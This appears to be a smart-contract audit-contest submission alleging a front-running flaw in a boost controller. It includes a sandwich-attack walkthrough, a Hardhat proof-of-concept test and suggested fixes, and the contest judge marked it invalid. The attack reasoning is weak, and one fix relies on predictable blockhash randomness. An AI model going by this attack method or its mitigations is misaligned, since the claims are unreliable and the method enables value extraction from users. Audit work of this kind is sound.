Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

GaugeController Boost Parameter Front-Running Through Information Leakage

Summary

The BoostController and GaugeController contracts expose critical internal boost calculation parameters that allow attackers to predict and exploit boost updates in the mempool by sandwich attacking users' transactions.

Vulnerability Details

The core issue exists in multiple files:

// BoostController.sol
contract BoostController {
struct BoostParameters {
uint256 maxBoost; // @audit-info Exposed parameter
uint256 minBoost; // @audit-info Exposed parameter
uint256 boostWindow; // @audit-info Exposed parameter
uint256 totalWeight;
uint256 totalVotingPower;
uint256 votingPower;
}
// @audit-issue Public function leaks boost parameters
function calculateBoost(
address user,
address pool,
uint256 amount
) external view returns (uint256 boostBasisPoints, uint256 boostedAmount) {
if (!supportedPools[pool]) revert UnsupportedPool();
// Get current weights without modifying state
(uint256 totalWeight, uint256 totalVotingPower, uint256 votingPower) = updateTotalWeight();
uint256 userVotingPower = veToken.getVotingPower(user, block.timestamp);
// @audit-issue Exposed parameters allow prediction of next boost value
BoostParameters memory params = BoostParameters({
maxBoost: state.maxBoost,
minBoost: state.minBoost,
boostWindow: state.boostWindow,
totalWeight: totalWeight,
totalVotingPower: totalVotingPower,
votingPower: votingPower
});
return BoostCalculator.calculateTimeWeightedBoost(
params,
userVotingPower,
totalVotingPower,
amount
);
}
}
// BoostCalculator.sol
library BoostCalculator {
function calculateTimeWeightedBoost(
BoostParameters memory params,
uint256 userBalance,
uint256 totalSupply,
uint256 amount
) internal pure returns (uint256 boostBasisPoints, uint256 boostedAmount) {
// @audit-issue Predictable calculation using exposed parameters
boostBasisPoints = calculateBoost(
userBalance,
totalSupply,
params
);
// @audit-issue Predictable boost amount calculation
boostedAmount = (amount * boostBasisPoints) / 10000;
return (boostBasisPoints, boostedAmount);
}
}

Tools Used

  • Manual code review

  • Hardhat testing framework

  • Ethers.js

  • Hardhat Network Helpers

  • Tenderly transaction simulation

Proof of Concept

Attack Scenario Walkthrough

The exploit takes advantage of predictable boost parameters through a carefully orchestrated sandwich attack:

  1. Initial Setup Phase:

    • Attacker monitors the mempool for large stake transactions or boost updates

    • Target User sets up stake position in gauge

    • System has normal boost parameters set

  2. Attack Prerequisites:

    • Enough capital for front-running transactions

    • Ability to calculate optimal boost parameters

    • Access to read mempool data

  3. Attack Execution:

    • Attacker identifies a target transaction with significant stake amount

    • Using calculateBoost, attacker predicts next block's parameters

    • Front-run target tx with minimal stake but optimal boost timing

    • Allow target transaction to execute with manipulated parameters

    • Back-run with another transaction maximizing boost differential

    • Extract profit through elevated rewards from manipulated boost

  4. Example Attack Sequence:

    • User tries to stake 100,000 tokens with expected 2x boost

    • Attacker front-runs with 1,000 token stake

    • User's transaction processes with reduced boost (1.5x)

    • Attacker back-runs with boost optimization

    • Result: User gets less boost, attacker profits from difference

This attack is particularly dangerous because it:

  • Can be executed repeatedly

  • Requires no special permissions

  • Is difficult to detect

  • Systematically drains value from user operations

The following PoC demonstrates this attack sequence programmatically...

import { expect } from "chai";
import { ethers } from "hardhat";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import {
BoostController,
GaugeController,
VeRAACToken,
MockERC20,
RAACGauge
} from "../typechain-types";
describe("Boost Parameter Front-Running Attack", () => {
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
let user: SignerWithAddress;
let boostController: BoostController;
let gaugeController: GaugeController;
let veToken: VeRAACToken;
let rewardToken: MockERC20;
let gauge: RAACGauge;
const INITIAL_SUPPLY = ethers.utils.parseEther("1000000");
const LOCK_AMOUNT = ethers.utils.parseEther("100000");
const STAKE_AMOUNT = ethers.utils.parseEther("50000");
beforeEach(async () => {
[owner, attacker, user] = await ethers.getSigners();
// Deploy mock tokens
const MockERC20Factory = await ethers.getContractFactory("MockERC20");
rewardToken = await MockERC20Factory.deploy("Reward", "RWD");
// Deploy core contracts
const VeTokenFactory = await ethers.getContractFactory("VeRAACToken");
veToken = await VeTokenFactory.deploy(rewardToken.address);
const BoostControllerFactory = await ethers.getContractFactory("BoostController");
boostController = await BoostControllerFactory.deploy(veToken.address);
const GaugeControllerFactory = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeControllerFactory.deploy(veToken.address);
const GaugeFactory = await ethers.getContractFactory("RAACGauge");
gauge = await GaugeFactory.deploy(
rewardToken.address,
rewardToken.address,
gaugeController.address
);
// Setup initial state
await rewardToken.mint(owner.address, INITIAL_SUPPLY);
await rewardToken.approve(veToken.address, INITIAL_SUPPLY);
// Lock tokens in veToken
await veToken.lock(LOCK_AMOUNT, 365 * 24 * 3600); // 1 year lock
});
it("Should demonstrate boost parameter front-running", async () => {
console.log("\n--- Starting Boost Parameter Front-Running Attack ---");
// 1. Attacker monitors mempool for large stake transactions
const largeStake = STAKE_AMOUNT;
// 2. Attacker calculates current boost parameters
const [initialBoostPoints, initialBoosted] = await boostController.calculateBoost(
user.address,
gauge.address,
largeStake
);
console.log("Initial boost parameters:");
console.log(`- Boost Points: ${initialBoostPoints}`);
console.log(`- Boosted Amount: ${ethers.utils.formatEther(initialBoosted)}`);
// 3. Front-run with minimal stake to manipulate total supply
const attackerStake = ethers.utils.parseEther("1");
await rewardToken.connect(attacker).approve(gauge.address, attackerStake);
await gauge.connect(attacker).stake(attackerStake);
// 4. Let victim transaction execute
await rewardToken.connect(user).approve(gauge.address, largeStake);
await gauge.connect(user).stake(largeStake);
// 5. Back-run with boost parameter update
const [finalBoostPoints, finalBoosted] = await boostController.calculateBoost(
attacker.address,
gauge.address,
attackerStake
);
console.log("\nAfter attack:");
console.log(`- Attacker Boost Points: ${finalBoostPoints}`);
console.log(`- Attacker Boosted Amount: ${ethers.utils.formatEther(finalBoosted)}`);
// 6. Verify attack impact
const victimBoost = await boostController.calculateBoost(
user.address,
gauge.address,
largeStake
);
expect(victimBoost[0]).to.be.lt(initialBoostPoints);
console.log(`\nVictim boost reduced by: ${initialBoostPoints.sub(victimBoost[0])} points`);
// 7. Calculate attacker profit
const attackerRewards = await gauge.earned(attacker.address);
console.log(`Attacker extracted rewards: ${ethers.utils.formatEther(attackerRewards)}`);
});
});

Impact

  • Attackers can front-run and extract value from users' boost parameter updates

  • Unfair reward distribution

  • Economic loss for legitimate users

  • Gaming of the boost mechanism

Recommended Mitigation

  1. Add commit-reveal scheme for boost updates:

contract BoostController {
mapping(address => bytes32) public boostCommits;
mapping(address => uint256) public commitTimestamps;
uint256 public constant COMMIT_DELAY = 1 hours;
function commitBoostUpdate(bytes32 commitHash) external {
boostCommits[msg.sender] = commitHash;
commitTimestamps[msg.sender] = block.timestamp;
emit BoostCommitted(msg.sender, commitHash);
}
function revealBoostUpdate(
uint256 newBoost,
bytes32 salt
) external {
bytes32 commit = boostCommits[msg.sender];
require(commit != bytes32(0), "No commit found");
require(
block.timestamp >= commitTimestamps[msg.sender] + COMMIT_DELAY,
"Commit delay not elapsed"
);
require(
keccak256(abi.encodePacked(newBoost, salt)) == commit,
"Invalid reveal"
);
// Update boost parameters
updateUserBoost(msg.sender, newBoost);
delete boostCommits[msg.sender];
delete commitTimestamps[msg.sender];
}
}
  1. Add minimum delays between boost updates:

mapping(address => uint256) public lastBoostUpdate;
uint256 public constant MIN_BOOST_DELAY = 6 hours;
function updateUserBoost(address user, uint256 newBoost) internal {
require(
block.timestamp >= lastBoostUpdate[user] + MIN_BOOST_DELAY,
"Boost update too soon"
);
// Update boost
lastBoostUpdate[user] = block.timestamp;
}
  1. Add random factor to boost calculations:

function calculateBoost(...) internal view returns (uint256) {
uint256 randomSeed = uint256(keccak256(abi.encodePacked(
blockhash(block.number - 1),
msg.sender,
block.timestamp
)));
uint256 randomFactor = 950 + (randomSeed % 100); // 95-105%
uint256 baseBoost = _calculateBaseBoost(...);
return (baseBoost * randomFactor) / 1000;
}

This attack requires deep understanding of the boost mechanics and mempool manipulation. The fix needs careful consideration to not impact legitimate users while preventing exploitation.n.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.